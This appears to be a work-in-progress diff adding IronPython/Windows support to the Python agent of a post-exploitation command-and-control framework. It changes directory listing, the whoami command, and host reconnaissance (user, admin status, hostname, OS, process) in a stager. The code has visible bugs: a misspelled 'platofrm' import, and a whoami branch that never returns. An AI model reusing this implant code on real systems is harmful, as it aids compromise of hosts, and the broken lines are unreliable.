IronPython Support [WIP]

data/agent/agent.py

@@ -19,11 +19,15 @@
 import marshal
 import re
 import shutil
-import pwd
 import socket
 import math
 import stat
-import grp
+import platofrm
+if platform.python_implementation() == 'IronPython':
+    from System import Environment
+else:
+    import pwd
+    import grp
 from stat import S_ISREG, ST_CTIME, ST_MODE
 from os.path import expanduser
 from StringIO import StringIO
@@ -906,9 +910,13 @@ def directory_listing(path):
             permstr = "d{}".format(permstr)
         else:
             permstr = "-{}".format(permstr)
-
-        user = pwd.getpwuid(fstat.st_uid)[0]
-        group = grp.getgrgid(fstat.st_gid)[0]
+        if platform.python_implementation() == 'IronPython':
+            user = Environment.UserName
+            #Needed?
+            group = "Users"
+        else:
+            user = pwd.getpwuid(fstat.st_uid)[0]
+            group = grp.getgrgid(fstat.st_gid)[0]
 
         # Convert file size to MB, KB or Bytes
         if (fstat.st_size > 1024 * 1024):
@@ -961,7 +969,10 @@ def run_command(command, cmdargs=None):
         return "Created directory: {}".format(cmdargs)
 
     elif re.compile("(whoami|getuid)").match(command):
-        return pwd.getpwuid(os.getuid())[0]
+        if platform.python_implementation() == 'IronPython':
+            username = Environment.UserName
+        else:
+            return pwd.getpwuid(os.getuid())[0]
 
     elif re.compile("hostname").match(command):
         return str(socket.gethostname())

data/agent/stagers/common/get_sysinfo.py

@@ -1,6 +1,12 @@
+import platform
+if platform.python_implementation() == 'IronPython':
+    from System.Diagnostics import Process
+    from System import Environment
+    from System.Security.Principal import WindowsIdentity, WindowsPrincipal, WindowsBuiltInRole
+else:
+    import pwd
 import os
 import sys
-import pwd
 import socket
 import subprocess
 
@@ -11,23 +17,36 @@ def get_sysinfo(nonce='00000000'):
     __FAILED_FUNCTION = '[FAILED QUERY]'
 
     try:
-        username = pwd.getpwuid(os.getuid())[0].strip("\\")
+        if platform.python_implementation() == 'IronPython':
+            username =  WindowsIdentity.GetCurrent().User.ToString()
+        else:
+            username = pwd.getpwuid(os.getuid())[0].strip("\\")
     except Exception as e:
         username = __FAILED_FUNCTION
     try:
-        uid = os.popen('id -u').read().strip()
+        if platform.python_implementation() == 'IronPython':
+            uid =  WindowsIdentity.GetCurrent().User.ToString()
+        else:
+            uid = os.popen('id -u').read().strip()
     except Exception as e:
         uid = __FAILED_FUNCTION
     try:
-        highIntegrity = "True" if (uid == "0") else False
+        if platform.python_implementation() == 'IronPython':
+            highIntegrity = WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)
+        else:
+            highIntegrity = "True" if (uid == "0") else False
     except Exception as e:
         highIntegrity = __FAILED_FUNCTION
     try:
-        osDetails = os.uname()
+       if platform.python_implementation() != 'IronPython':
+           osDetails = os.uname()
     except Exception as e:
         osDetails = __FAILED_FUNCTION
     try:
-        hostname = osDetails[1]
+        if platform.python_implementation() == 'IronPython':
+            hostname = Environment.MachineName
+        else:
+            hostname = osDetails[1]
     except Exception as e:
         hostname = __FAILED_FUNCTION
     try:
@@ -38,11 +57,17 @@ def get_sysinfo(nonce='00000000'):
         except Exception as e1:
             internalIP = __FAILED_FUNCTION
     try:
-        osDetails = ",".join(osDetails)
+        if platform.python_implementation() == 'IronPython':
+            osDetails = Environment.OSVersion.ToString()
+        else:
+            osDetails = ",".join(osDetails)
     except Exception as e:
         osDetails = __FAILED_FUNCTION
     try:
-        processID = os.getpid()
+        if platform.python_implementation() == 'IronPython':
+            processID = Process.GetCurrentProcess().Id
+        else:
+            processID = os.getpid()
     except Exception as e:
         processID = __FAILED_FUNCTION
     try:
@@ -52,13 +77,16 @@ def get_sysinfo(nonce='00000000'):
         pyVersion = __FAILED_FUNCTION
 
     language = 'python'
-    cmd = 'ps %s' % (os.getpid())
-    ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-    out, err = ps.communicate()
-    parts = out.split("\n")
-    if len(parts) > 2:
-        processName = " ".join(parts[1].split()[4:])
+    if platform.python_implementation() == 'IronPython':
+        processName = Process.GetCurrentProcess().ToString()
     else:
-        processName = 'python'
+        cmd = 'ps %s' % (os.getpid())
+        ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        out, err = ps.communicate()
+        parts = out.split("\n")
+        if len(parts) > 2:
+            processName = " ".join(parts[1].split()[4:])
+        else:
+            processName = 'python'
 
     return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion)